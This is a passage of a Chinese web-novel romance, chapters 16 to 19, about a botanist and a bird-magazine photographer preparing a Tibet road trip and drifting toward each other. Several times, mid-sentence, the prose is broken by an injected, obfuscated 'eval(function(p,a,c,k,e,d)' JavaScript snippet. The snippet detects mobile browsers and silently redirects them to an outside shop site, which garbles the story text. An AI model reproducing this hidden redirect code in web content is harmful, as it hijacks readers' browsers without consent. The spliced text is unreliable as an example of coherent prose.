付舟手忙脚乱地兜着,正好够韩灵溪啃完一根鸡腿,燕栖山吃了两块西藏特色炸土豆后开始聊正事。 “韩老师和小鹿肯定是要走一路,女生住一起也方便安排,”燕栖山说,“你们俩确定是走藏北线吗?” 韩灵溪表示肯定:“对,正好不是最近青藏高原的第二次大科考要开始了嘛,总部说要跟上这个科研热点。后面估计会推出一系列西藏专题科普,不只写鸟了,风土人情也要写,而且是杂志的那个去年搞的新增刊,小燕,这是你擅长的方面,藏南线好多神山和寺庙,人文气息更重,你去比较好。” 确实如此,燕栖山历史系毕业,是这个带有科学研究性质的杂志社里少有的文科生,历史学重考究讲证据,当初召他进来除了看重他的摄影和观鸟经历,也有让他参与撰稿的考虑。 “不成,”章鸣声音从面罩后面闷闷地传出,“藏南线得先去日喀则,再从日喀则到珠穆朗玛峰大本营,最后还得去冈仁波齐转山,那么远的路,小燕一个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513147|203091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能行吗?开车也不太安全。都是我的错,要是我没去布达拉宫就好了……” 他到拉萨第一天兴奋过度,勇闯布达拉宫,谁知光是抵达售票处就得爬个半死,简直像是爬泰山,章鸣没租大容量氧气罐,买的小份装很快告急,下去的时候走着走着陡坡突然眼前一黑,幸好一旁游客眼疾手快,没让他直接摔下去,后来他还被热心群众送进医院。 燕栖山很无所谓地说:“我试一试,不行再说。” 付舟看他是真的不怕,不在乎自己是不是需要在广袤的高原上孤独地开几个日夜,不在乎珠穆朗玛峰一百零八个盘山道的拐弯,因为燕栖山还年轻,没经历过什么,初生牛犊不怕虎,他想,所以他什么都不怕,什么都不在乎。 就像“山就在那里”,人也总要试一试。 可付舟想自己是在乎的。 他是领受过西藏自然威力的人,虽然当年墨脱的情况与这里十分不同,但他还是不愿意让燕栖山冒这个风险。 他说:“栖山,我和你一起去。” 正在激烈争论燕栖山到底要不要一个人去的所有人都安静了,一起回头看付舟。付舟在学校汇报成果太多次,自以为早就没皮没脸,眼下却又有些莫名羞赧。 他很快解释了一下导师的项目,韩灵溪等他说完,问:“是剑桥的Whitbred教授吗?” 付舟很意外:“是,他来Kews之前是在剑桥,您认识他?” “嗯哼,我在美国读的环境科学PhD,之前去英国访学的时候参加过教授实验室的项目。小斐,你知道我想说啥吧?”鹿斐点点头,和韩灵溪两个人交头接耳一阵,付舟一头雾水。 韩灵溪语气骤然郑重,付舟不觉也跟着她坐直:“咳咳,付博士,我诚挚邀请您作为我们杂志的特邀顾问,在这次考察中协助燕栖山——章鸣等下会起草临时合同。” 说完她立刻压低声音:“您就当当翻译,科普科普就好,挂个名我们和总部也好交代,上面有要求,我们不好和没报备的过的人一起行动,反正您科研这方面完全没问题的。” 付舟答应下来,这才发现最应该有所反应的燕栖山一声不吭,活像被餍住了。章鸣他们在热火朝天地讨论这个专题该怎么具体一步步下去,燕栖山只是看着他发怔,付舟在他眼前打了个响指。 “啪。” 如梦初醒,燕栖山一下跳起来,动静颇大,可他也不管同事困惑地询问,对付舟说:“付哥,能不能出来一下,我有话要说。” 付舟跟他出病房到没人的拐角,眼见燕栖山嘴角发抖,直截了当地问:“付哥,要是没有这个项目,你会让我一个人去吗?” 他问的猝不及防,不过这个带点微妙的酸味的问题其实很好回答,付舟说:“当然不会啊。” 燕栖山追问:“为什么?” “我对你放心不下,”还没等燕栖山脸上的喜色从嘴角蔓延开,付舟忽然想起那个糟糕的梦,欲盖弥彰地补充:“因为——之前忘了和你说了,我决心要把你当弟弟关照的。” 窗外正午的光线一点一点爬过天空中间,方才的欣喜一点一点从燕栖山年轻英俊的脸上消散,他垂着眼不看付舟,神色晦暗,付舟不知道自己说错了什么。 ——年轻人身上清新的柑橘味铺天盖地海浪一般漫过来,像无形的没顶之灾,付舟好想问问他用的到底是什么牌子的沐浴液,简直像抱了满满一怀香橼,是一种很熟悉很安全的气味。 在医院阳光照不到的拐角里,燕栖山鼓起勇气,紧紧地抱住了他。 17. 知更鸟 付舟被燕栖山抱着,不过这姿势不太舒服。 他刚才吃完东西只来得及去了一次性手套,疑心手上还有些油渍,因此只好别扭地举着手。拉萨风大天寒,燕栖山穿了一件高领毛衣,毛茸茸暖烘烘的,青年的体温一点一点传导过来,付舟几乎感觉自己要被灼着了。 付舟问:“欸,这是怎么了?” 他没法动手,只得用搁在燕栖山肩膀上的下巴轻轻蹭一下提醒他。燕栖山不回答,埋下头,卷曲的发梢擦得付舟侧脸痒痒的。 “小燕,松手呗,有什么事说就好了。” “……不嘛,付哥,就抱一会儿。”燕栖山声音闷闷的,颇有点耍赖的意思。 想抱就抱吧,反正自己也不会少块肉。 付舟想燕栖山应该是能有个旅伴太高兴,毕竟尝试一个人在西藏自驾还是太危险了些。他对比自己年纪小的人一向宽容,觉得偶尔能情绪外露也不是坏事。 燕栖山早些时候被燕越水点了一道,此时竟隐隐有恍然大悟之感。 原来这就是喜欢,原来我是喜欢付哥的,燕栖山思忖着。 可是,然后呢? 他内心坦荡,大部分时候都能清楚地认识到自己的情感,可是或许是家教使然,从小父母和他说得最多的是凡事要靠自己,要多做事和别人打好交道,燕栖山是一个边界感极重的人,这辈子最害怕的事情就是给他人带来麻烦,换句话说,他其实不太明白该怎么建立一段亲密关系。 他摸不清付舟的想法,惴惴不安地想,我的喜欢,会不会给付哥带来困扰? 他连他们现在到底算不算朋友都不知道,况且付舟的个人情感生活对于燕栖山来说还是一个谜,燕栖山很担心如果自己表白了恐怕就得沦为付舟手机里那些只能恳求“小舟哥”多在意自己一点的可怜人。 燕栖山问自己真的有知三当三的勇气和道德下限吗,更别说当的还有可能是小四小五小六。 如果是付哥的话……好像也不是不行? 燕栖山,你太可悲了!他绝望地在内心咆哮。 强迫自己不要往道德素养的方向陷入死胡同,他宽慰自己先把工作的事先解决了吧,俗话说的好,不要把个人情绪带到工作上。 付舟当然是不知道燕栖山内心经历了怎么样的一番惊涛骇浪,只是感觉青年箍在他肩膀上的手臂慢慢松了,恋恋不舍地顿了顿,随即火速松开。 燕栖山后退一步靠在墙上,还是不看付舟——付舟发现这小子不知犯了什么毛病,最近老不愿意直视他,不太对劲,这样的燕栖山束手束脚的,付舟还是喜欢看他恣意快活。 难道是因为我之前说话太没分寸? “我靠!” “就这么结束啦?” “我说哪有白捡一个顾问这么好的事……” 他们俩回头看,病房门口整整齐齐冒出三个脑袋,从下至上分别是鹿斐、韩灵溪、章鸣。三人显然已经旁观许久,因为拖着吸氧装置的章鸣一时支撑不住摔出视线,另两人立刻大呼小叫地去扶他。 付舟顿觉脸上发烧,头也不回地钻进卫生间洗手。 尴尬的燕栖山则装聋作哑,继续维持他那个靠在墙上的姿势,假装自己是一朵忧郁透明的长腿蘑菇。 第二天付舟早起坐大巴去机场取他失散已久的行李,留下燕栖山一个人做出行准备。 燕越水来送车钥匙,临走时千叮咛万嘱咐燕栖山胆敢把她的宝贝车刮掉一点漆她就削他一层皮,即使这话由亲自把小百万的车从大西北开过来的,车身已经全是泥点的她说出口非常不可理喻。 获得载具,他去氧气租凭店租了两个1.6升的氧气罐,这种氧气罐比一般的容量大,可以维持八个小时,也方便随身携带吸氧。 他打开电脑,看见韩灵溪已经效率很高的把更新后的策划案发到群里。 韩灵溪:之前“中国鸟”的专题我们这边已经在写,你不用担心,注重新策划就ok。 韩灵溪:【给你加鸡腿.jpg】 新活? 燕栖山粗略浏览一下,发现新的专题将主要在他们杂志社的另一份杂志《衔枝》上发布。 他们杂志社名下有许多科普杂志,《衔枝》算是他主要参与的杂志的增刊,才开始发行一年,主要针对对自然知识不太了解的年轻人群体,重在有趣味性和故事性。 和以往的杂志不同,《衔枝》舍弃每月的纸质版,完全依靠线上流媒体发行,平常还会用自媒体账号做做视频图文帮忙增加浏览量。 增刊起步,他们主刊的编辑当然要帮忙宣传,燕栖山的自媒体账号就是那个时候建的。他有两个号,红薯一个,破站一个,全网同名,叫:燕山燕子飞。 原本为了和微信保持统一,他用的头像一直是珠颈斑鸠——此鸟邪恶的“古咕固”叫声常在早上六点把他从大学宿舍的床上吵醒。后面考虑到自己的ID,他就换成了家燕。 家燕五彩斑斓,圆头圆脑,领导也觉得看上去更讨喜,检阅过后很是满意。 不过燕栖山心里老嘀咕:我们斑鸠怎么了,蠢萌肥美,还是观鸟吧吧宠呢! 之前遇见的农家乐老板今天把拍的照发了,数据挺好,已经有一堆人顺藤摸瓜到了他的帐号。他红薯的粉丝少点,刚过两万,原因很简单,他不怎么露脸,只偶尔发发科普文章什么的。 他上次更新还是科普上海的常见鸟类和推荐观鸟地点,现在借着老板宣传带来的热度,他把前两天写好的林芝桃花观赏指南点击发布。 他破站粉丝更多,约有十几万,不只是发科普课堂,平常编辑部一起出去拍摄他也会发点记录,不过他这人比较懒,绝大部分时候都把账号扔给同事运营。 发完接下来会更新藏南vlog的动态之后,他盯着手机发呆,突发奇想,在搜索栏输入FUZHOU,他没想着能搜到什么,况且叫这个ID的足有五十多人,燕栖山随便捡了一个头像是蓝色花的点进去,酒店网不好,他手快连戳两下,一不小心点进其中一个视频。 付舟少年时的脸猝不及防地弹出来,燕栖山一时手忙脚乱,慌不择路地把视频划出去,顺带倒扣手机。 敢情这人也是个全网通名的?! 他微微屏着气,做贼心虚,又偷偷摸摸地把手机举起来看,仿佛有芒在背。 翻了一下,付舟这个账号上次更新还是四年前,大约是他直博之前,发的是和朋友去巴黎的vlog,最早的视频则是一些高中生活的片段。 不同于别人旅行时拍的美食博物馆名胜古迹,付舟每个旅行视频风格都出奇的一致。 四年前的付舟顶着一个被他切成蘑菇力形状的刘海,看背景他是在凡尔赛宫,他冷着脸凑上来,似乎是在检查有没有开始录制,弹幕纷纷被帅哥怼脸和恐怖发型吓到,随后把相机凑近路边栅栏上生着的一大丛白花,他的画外音响起: “风车茉莉,学名络石,法语名叫jasmin étoilé。” 他说法语的时候不熟练,有点犹豫吞音,顿了顿,半张脸又出现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513148|203091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 画面里凑近去闻那花: “嗯,很香,不过是夹竹桃科的,有毒,倒不怎么招虫子。” 【弹幕:很好的科普但是帅哥你好像人机?】 画面抖动,付舟弯下腰去捡了一朵落花拿到镜头前面,非常不怜惜拔了一根自己的头发下来穿过花。 【弹幕:???这是要干什么?】 似乎是接收到了弹幕的疑问,付舟捏着头发两端将花举到镜头前,对着花轻轻吹气,洁白的花朵真的像风车一样转起来,弹幕惊叹,付舟看着镜头莞尔。 燕栖山已经认识他并暗中观察他一段时间了,因此很轻易地在那个笑容里辨认出一丝狡黠的小得意。 后面转场到其他植物,付舟也基本都是这种模式讲解一点路上遇到的植物,他的视频不长,发布的个数也不多,但或许是三年前还是破站发展最好的那段时间,倒也获得了许多浏览和互动。 “这是洋蓟,一年开三次花,据说是路易十四的最爱?我还没有吃过。做法是凉拌吗?会吃的请告诉我。 哈喽大家好,今天我在Edin(爱丁堡大学),背后这棵超高的树是柳叶梨——看,比教学楼还高好多,呃,如果我没记错的话,学名是Pyrus salicifolia,叶背和花序都有大量绒毛,花瓣边缘是粉色的。我有点矮,没法凑近拍,大家凑合着看吧。” 由于其常年匪夷所思的一刀切蘑菇头发型和平铺直叙的语气,付舟被观众冠名为“爱植物的朵拉哥”和“无情的植物识别机器”。 燕栖山看着直乐,顺手把看过的视频全部一键三连,后知后觉地想被他发现怎么办,但瞅见上次登录八个月前的记录又放心大胆地继续操作。 平心而论,付舟的视频其实做的相当无聊,剪辑也没有什么技术含量,可也许是情人眼里出西施,燕栖山完全看进去了,他想,付舟和他现在一样大的时候,原来是这样的。 他看到喜欢的植物会笑,会用淡淡的英式幽默讲一点笑话,意外摸到一只停在垃圾堆上的马蜂时会露出极为少见的惊恐表情,也会和观众抱怨即将截止的ddl和马上要发的期刊……燕栖山忽然觉得自己好像窥见了付舟生活的另一角,他甚至开始幻想要是自己在这个角里就好了。 他们可以一起坐慢悠悠的英国火车,从一个郡到另一个郡,在英格兰的乡下找知更鸟和蓝铃花。 燕栖山这人生平无大志,就是爱做梦。 而且他可以肯定,自己去英国时遇到的少年就是付舟,他已经从更早些视频里付舟还没变声时的说话声音中辨认出来了。 现在唯一的问题是该怎么委婉地向他的付哥暗示他遇见的才不是什么穿毛线裙的小女孩,而是一个看不懂英码而买大毛衣三号的燕栖山。 门响。 付舟拖着他那个二十九寸的巨型行李箱侧身钻进门,燕栖山赶紧跳起来帮他拉箱子。 手机仍在床上,原本他已经退出视频,结果好巧不巧,首页推荐开始自动播放: “契诃夫写过的醋栗。酸,富含维生素C,一般作甜品的点缀……” 正在嚷嚷付哥怎么不发消息我去车站接你的燕栖山骤然安静,任由付舟的声音在房间里回荡。两厢对视片刻,他才如梦初醒,嗷一声扑过去关手机。 他背着手,犯错的小孩一样站在付舟面前,小心掀一点眼皮去看对方的表情。付舟脸上又露出他很熟悉的那种逗人时不置可否的笑容,抿唇缓缓道: “怎么‘视奸’我啊,‘燕山燕子飞’先生?” 18. 欧歌鸫 在任何情况下,被人当面喊出网名都是一件让人想钻进地心的事情。 “怎么……” 燕栖山倒不是不想让付舟看自己的账号,不过社交媒体的马甲到底和现实不同,被人骤然提出来简直像是被问到“你今天穿的内裤是黑色的吗”。 他回忆之前说过的话,没想出自己什么时候露出过破绽。 付舟有点惊讶地挑眉看他,似乎发现他的马甲是一件很容易的事情——事实上也确实容易: “杂志的破站官号不是@过你?我前几天刷了一下,想着杂志社应该不会有第二个网名里包含‘燕山’的人了……视频做的挺好的。” 他不是在刻意夸,燕栖山视频确实做的不错。首先,现代人大多生活在人造环境里,对野外有一种天然的好奇,这种野外探险题材一向能引起关注。不过对于付舟这种常常出野外的人,吸引他的是别的什么。 燕栖山播放量最高的一条内容是展示他入职初期在森林公园里蹲伏拍鸟,出发前斗志昂扬,拍摄中在每种鸟叫响起时都和镜头自信分享这是什么鸟,头头是道、志在必得的样子,直至最后太阳落山,同事在画面外询问成果。 满头大汗,面红耳赤的燕栖山眨眨被蚊子叮肿的眼皮,十分人畜无害地咧出一口白牙,然后给观众展示他拍摄的近五十张松鼠、刺猬和黄鼠狼。 构图突出主体,光影交错,把这些高速移动的啮齿动物抓拍的极具动感。 同事:“拍的不错,所以鸟呢?” 燕栖山大言不惭:“没拍到,光听见叫了。” 同事:“……” 燕栖山强词夺理:“松鼠在树枝上窜来窜去,是鸟;刺猬的刺是羽毛退化之后的结果,是鸟;呃……黄鼠狼黄鼠狼……对了,黄大仙飞升上天了,也是鸟!” 他歪理颇多,叽叽喳喳,同事忍无可忍,大吼你给我滚出去,画面一黑,留下燕栖山的倔强辩解: “空军?什么空军?我才没有空军!” 热闹的弹幕大致分为这三种: 【好好好,你长得帅你说了算(白眼.jpg)】 【鼠鼠我啊,是鸟。】 【我入职第一天没完成老板给的任务belike:】 当然,燕栖山的脸确实是一个招牌,不过他没什么当网红每天抛头露面的想法,因此后面的视频里露脸次数都不太多,然而他没想到这一点恰好踩中饥饿营销的基本运作模式,甚至于他露脸成了该账号粉丝达到一定数量的定期福利。 燕栖山平常看后台时收到的夸奖挺多,无论是针对他的外貌还是科普,可是此时被付舟一夸他还是有点飘飘然。 付舟就看着这人眼睛亮亮的凑上来,满脸“再多夸夸我”,他几乎疑心燕栖山背后是不是有条大尾巴在晃悠。青年的目光老是水汪汪的,付舟想果真是来自江南的人,连含水量感觉都比自己高。 燕栖山今天卫衣的领口颇大,付舟猝不及防低头一看,就看到隐入领口线条流畅的胸肌。 真是手段了得…… 拒绝被男色所惑,付舟生硬地转移话题:“你又是怎么发现我的账号的?” 燕栖山见他不为所动,蔫下去,不过很快重振旗鼓,解释了一下刚刚是怎么乱搜搜到的,顺带解释《衔枝》的要求:“付哥,你要不要和我一起做视频呀,算是预热,后面我再汇总成电子杂志。录制设备韩老师带了双份,她昨天已经拿给我了。” “可以是可以,不过我之前手机被偷了,老号找不回来,直接用你的账号行吗?” 付舟想想觉得没什么不好的,他也可以借机科普一下高原植物保护。 燕栖山欢呼雀跃。 付舟觉得这孩子怪怪的,现下确实恢复了之前欢天喜地的状态没错,可是总觉得矫枉过正,燕栖山现在的一举一动有种刻意的表演痕迹。 ……还是演技较为糟糕的那种。 然而燕栖山同学即使演技用力过猛也是花瓶级别的,付舟暂时不去揣摩这事,因为眼下有更重要的事情要做,他问燕栖山:“之前墨脱买的那剪子呢?给我吧,我去卫生间把头发剪了。” 燕栖山惊恐万状。 他前些天一直把那剪子藏着,每天祈祷付舟不会想起来,刚刚看完那个辣眼睛的朵拉造型更是坚定了这个想法。 别人最丑的时候是短发长成长发时的尴尬期,而对于付舟来说,他竟然这个时候看上去是最正常的,这足以说明事情的严重性。 付舟伸着手等对方从自己包里把剪子给他,见他迟迟没有动作,冲他投去一个困惑的眼神。 “在箱子里?我自己拿了?” 燕栖山无端产生了一些令人毛骨悚然的联想,联想到他高中班主任晚自习突然冲进教室,伸手,说:“自觉把手机交上来,不要让我搜。”因此付舟看到燕栖山眼巴巴地看着他,大眼睛如泣如诉。 “付哥,能不能别剪头发?” “老是扎着眼睛,还窝在脖子这边,不方便。” 审美堪忧的付舟不太理解为什么燕栖山对他的外貌这么操心,活像个经纪人。 “用这个好不好?” 燕栖山早有准备,去包里翻出来一包小玩意儿,花里胡哨,远看像一把糖果。 付舟定睛一看,是一包五颜六色的发绳和发卡。 “戴……这个吗?我没怎么扎过头发。” 燕栖山此时倒是兴致勃勃了,他抓起一个荧光粉心形的发卡,被付舟警告的眼神否决,吐吐舌头,又捡了一个浅绿色叶子形的,自荐道:“不会弄没事的,小时候我经常帮燕越水扎头发,我来帮你吧,付哥?” 没等付舟想想自己到底要不要首肯,燕栖山的手已经摸了上来,迫不及待。 那只骨节分明的手轻轻擦过他的额角,把老是挡在他眼前的那缕刘海撩开了,付舟瞬间觉得轻松许多,他之前都快习惯头发一直刺着眼睛的不适。 燕栖山帮他把头发别好了,又绕去后面给他扎辫子,他的指甲打着转划过付舟的后脖颈,付舟感觉自己鸡皮疙瘩都起来了,整个脖子的皮肤都发麻战栗。 “等……等等!”付舟慌乱地想扭头,不用想他都知道自己脖子肯定红了,却被燕栖山按住后颈,他能感觉出对方每一根指尖的形状和温度。 怪痒的。 “快好了,付哥不要乱动嘛。” 燕栖山确实很快给他扎好小辫离开,没了他的手付舟感觉颈后凉飕飕,他照照镜子,发现脑后翘起一个俏皮的小揪,挺有童趣的。 “还可以,这两天你教我怎么扎吧?” “……” “燕栖山?” 燕栖山这才回答嗯嗯好的,明显刚没在听。 他是故意磨蹭着扎头发,付舟脖子的曲线很优美,透过领口还可以隐隐看到蝴蝶骨,燕栖山心猿意马,差点没忍住上手摸一把。 登徒子!咸猪手! ……他发现这些天他辱骂自己的频率大大提高了。 幸好这个世界上还是有一个人在乎他们俩的工作,付舟打断他的“回味”,问:“我在想推广视频做什么形式,如果是你常做的野外vlog,我们两个人会不会有点少?现在做物种鉴定的博主越来越多了,我之前那种模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513149|203091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 式恐怕没办法有太多热度。” “童话动画化!”神游的燕栖山突然福至心灵。 付舟尝试跟上他的思路:“用故事宣传的形式?确实可行……” “我们可以用路上拍的景色做背景加工一下做动画效果,杂志社之前也用动画宣传过,有同事专门做这个的,这样也不用一直露脸,故事我能写,不过具体的形象……”燕栖山若有所思。 付舟去他的行李箱里摸出一本速写本,在膝上摊开,思忖片刻,拿铅笔开始画,随后递给燕栖山。 “这样?” 燕栖山接过一看,上面已经有两个憨态可掬的小人,细手细脚,动作却很有张力,有些欧美早期漫画风格。 一个用大大的花瓣遮着半张脸羞答答地站着,一个披着燕子翅膀状的披风飞在空中。 付舟补充道:“这是草稿,你凑合看看,我不是专业的,如果可以的话拿给你同事再优化?我觉得画风得再中式一点,不过我不太会画那种。” 燕栖山张大嘴巴,此刻他看上去更像夸张漫画里的人,几乎连扁桃体都能看到了:“付哥,你还会这个啊?!” 付舟觉得他这副表情实在好笑到值得被记录下来:“我本硕是植物分类学,没事喜欢画画植物速写,这样容易记。后来有段时间很迷十九世纪末的老漫画,临摹了不少。” 他把那本本子翻到前面给燕栖山看,本子几乎被他画满了,有时候是彩铅,有时候是钢笔,全是各种植物,旁边有用英文夹杂中文密密麻麻的批注。 付舟见燕栖山喜欢,干脆撕了一页下来给他:“送你了——不喜欢的话随便当个书签也行。” 燕栖山接那张纸活像烫手山芋,几乎不敢用手指碰,宝贝的不行:“我当然喜欢啊,不过就这么撕下来吗……” “有什么要紧,我还画了好几本,你去英国的话送你一本都没事。” 付哥默认他回英国后我也可以找他!燕栖山立刻敏锐地提取关键词。 今天的好事实在太多了,他眼下正美得不行,连工作都效率骤升,把新的想法立刻整理出来发在“扎西德勒快快乐乐”里,得到同事们的一致认可。 章鸣说他先去联系总部,把动画后期的事情确定下来,燕栖山可以先写个开头做成预告。 燕栖山一阵狂敲键盘,直到电脑电量告急开启省电模式,才急急忙忙抽身出来去找充电线。 动画的预告被他简单的先命名为“种子”。 付舟走到阳台上去了,他只穿了一件里衣,燕栖山怕他着凉,不由多看两眼。门缝微开,付舟的声音隐隐约约传过来,好像在和谁打电话,听着不大真切: “……是我引诱你的吗?” 燕栖山怀疑自己耳朵是不是出了问题,可是付舟还在继续说,用一种薄凉且略带讽刺的语气。 “我曾经向你说过好话吗?” 倒是对我说过不少,燕栖山想。 “我不是曾经明明白白地告诉过你,我不爱你,而且也不能爱你吗?……就这样,我挂了。” 燕栖山觉得付舟多少有点不耐烦地摁掉手机,抬头看到他,只是燕栖山却不敢回应那个视线了,他总觉得那个眼神里还是带着嘲弄和厌恶的。 他又开始想自己到底喜欢上了一个什么样的付舟,如果付舟和刚刚表现出来的一样,他可能就要放弃了,可是他又觉得付舟不是一个始乱终弃、玩弄感情的人。 燕栖山二十三年头一回喜欢一个人,他不想放弃,只是打探那个电话又是一件非常冒犯的事情。 不过,他为什么总感觉那几句话熟悉? 19.格桑花 “今天我见到小燕,是在从拉萨到羊卓雍错的路上。 家燕在大家印象里往往和江南有关,但它们其实不止生活在我国南方,活动轨迹遍布全球,所以,其实我在这里见到他也不觉得奇怪。 雅叶高速大雾,不过它的蓝黑色覆羽仍然有清晰可见的金属光泽,很漂亮,闪闪发光。 小燕说,它带了一颗种子,它想这是一颗格桑花的种子,要到神山去。 我说……燕栖山,你有在听吗?” 被询问这个问题的人多半是没在听,燕栖山也一样,他心不在焉地摁了一下汽车除雾键,脑子里还在想昨天晚上付舟的电话,因为觉得什么话之前听到过,但是想破脑袋也想不出出处的感觉实在太难受。 “……我不爱你,而且也不能爱你吗?” 没留神,燕栖山把昨天听到的自言自语说出来了。 他一下心惊胆战,立刻死死抿住嘴,懊恼这下完了,付哥肯定觉得自己是什么偷听别人说话的怪人。 奇怪的是他透过镜子看到付舟没有生气,只是掀起眼皮看他一眼,甚至没什么意外地接口道:“‘即使那样,也只是是我爱你爱得更加厉害。’ ……你的脸怎么这么红?我把空调调低点吧。” 付舟那句话说的敷衍,平铺直叙,是用捧读的口吻,可是燕栖山现在处于心怀鬼胎疑神疑鬼的状态,此时不由脸红心跳起来,捏着嗓子:“付哥,你刚刚说什么?” 他惯会提取关键词哄自己开心,是十足的“阿Q”,所以听到付舟对他说“我爱你”时仍然莫名暗爽。 因为在车里看稿子而有些双目模糊的付哥并不理解为什么刚刚还一脸苦闷双目放空的人此时露出了一些……“娇俏”的表情,不过两个人之间的寂静实在太尴尬了,付舟不想把话落到地上: “《仲夏夜之梦》,不过我只记得这一段了。后面是什么来着?” 燕栖山这下可想起来了。 莎翁,对不起。 “对对,我之前大学选修课选过莎士比亚作品赏析。” 燕栖山当时以为作业会是作品读后感或者分组表演什么的,谁知老师突发奇想,安排所有人每周翻译原版莎士比亚,翻译工作不仅仅是了解原意,还要求信达雅,海量的作业几乎杀死燕栖山所有文艺的脑细胞。 不过翻来覆去揣摩用词也带来了一个好处,就是燕栖山现在还记得不少。 他急于为自己开脱,立刻逼自己回想后面的句子,脱口而出:“我知道,后面是……I am your spaniel,and……the more you beat me,I will fawn on you……” 大约是中式教育留下的后遗症,燕栖山在背东西的时候总是大脑一片空白,不然胡思乱想容易把背诵思路打断,因此他磕磕巴巴地背完才留意到付舟嘴角噙着笑看他,意味深长地眨眨眼。 燕栖山认真回忆,认为自己从小学的英式发音还算是标准的,也没有什么口误。“Spaniel”是什么意思来着? 此时此刻,燕栖山才后知后觉地意识到自己刚刚背的词说出的话带有一些不太妙的倾向: “我是你的一条狗,你越是打我,我越是向你献媚。” 等等,这好像更不对了! 付舟看样子并非不知道后面的词是什么,他明摆着是故意的。 其实要是换做正常好朋友关系,逗别人说这种词就和男生互相逼对方认爹差不多,略显冒犯但无伤大雅,况且只是一句普通的戏剧台词。燕栖山却无端感到别扭,他不知道该怎样调理自己的心态。 他等待付舟的每一句话,又把每一句话都嚼个半天,那话要是平淡无味,他就会失落,可是付舟一旦说什么友达以上的,他又会惶恐起来。他不知道自己这是怎么了。 大雾的能见度很低,四周都白茫茫的,燕栖山照着限速慢慢地匀速开,前面的车隔得很远,在视线的尽头留下雾灯一点微光,他们俩像被困在一座孤岛里。 导航提示距离羊卓雍措还有六十四公里,距离拉近,一成不变的路况却仿佛时间骤停。路虎卫士车内极其宽敞,换气设施完美,而燕栖山透不过气。 为什么你要这么卑微,燕栖山,为什么不告诉他,你喜欢他? 燕栖山又想:因为我是个可恶的怂包。 燕栖山没有看付舟的眼睛,他一边看路,一边盯着镜子里付舟形状好看的眉骨,语气淡淡的: “付哥,不要再这样逗我了,好吗?” 付舟讶异地抬头想在镜子里找他的眼睛,燕栖山却赌气似的撇开视线:“啊,抱歉……你不喜欢这样对吗?是我说话嘴上没把门儿的,对不起,下次不会这样了。” 我说话方式有问题,确实要改,付舟暗自思忖。 他从来就不是那种很乐于广泛交友的人,能交心的朋友也就那么几个,可是社交又是留学生活中不能避免的一环。 所以付舟仗着自己的外貌优势,刻意以这种在中文语境里多少会显得轻佻的说话方式掩盖他其实是一个绝望的社恐的事实,这个方法恰好能让他和不愿意深交的人保持距离感,又不至于破坏“友情”。 虽然偶尔也会被骂混蛋中央空调就是了。 燕栖山很想回答对我不喜欢,然而这也不是实话,他只是单纯地不喜欢付舟和别人那样说话,迟疑一下,他生硬地转移了话题: “付哥,你为什么会背莎士比亚呀?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517436|203091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 付舟乐得说点别的:“谢文远他在搞莎士比亚诞辰的什么活动,在收集朗读的不同语言的莎士比亚译本,本来在英国录完了,昨天又和我说有几句不清楚,让我补录。” 看来我又误会了,燕栖山高兴地想,付哥才不是什么吊着别人的坏人! ——全然忘记他本人已经心甘情愿地咬了直钩。 “这个‘小燕’要做什么,‘我’又是谁?” 燕栖山的稿子文案没写完,就把视频分镜写明白了,付舟就看了刚才读的那几句,心里不太明白。 “我想的是童话故事,而且又得和我们的行程重合。” …… 一只远方的小燕子捡到了一颗种子,它带着种子来到西藏,想要找到这颗种子属于青藏高原的哪里。 它在西藏遇见了一朵花,那朵花告诉它:去冈仁波齐吧,神山会告诉你每一颗种子的来去。 小燕子说我怕高又怕冷,怎么才能到神山呢? 花儿咯咯咯地笑起来,花粉扑簌簌地落在它蓝色的花瓣上,它说我和你去,小燕子。 怕高的小燕子,我和你去神山冈仁波齐,我和你把这颗格桑花带到故乡。 来吧,我们走,衔住我的枝条飞起来吧,小心些,可不要把我落在半路了。 …… “‘小蝌蚪找妈妈’那样到处给种子找家?”付舟不解风情地打断了燕栖山声情并茂、慷慨激昂的陈述。 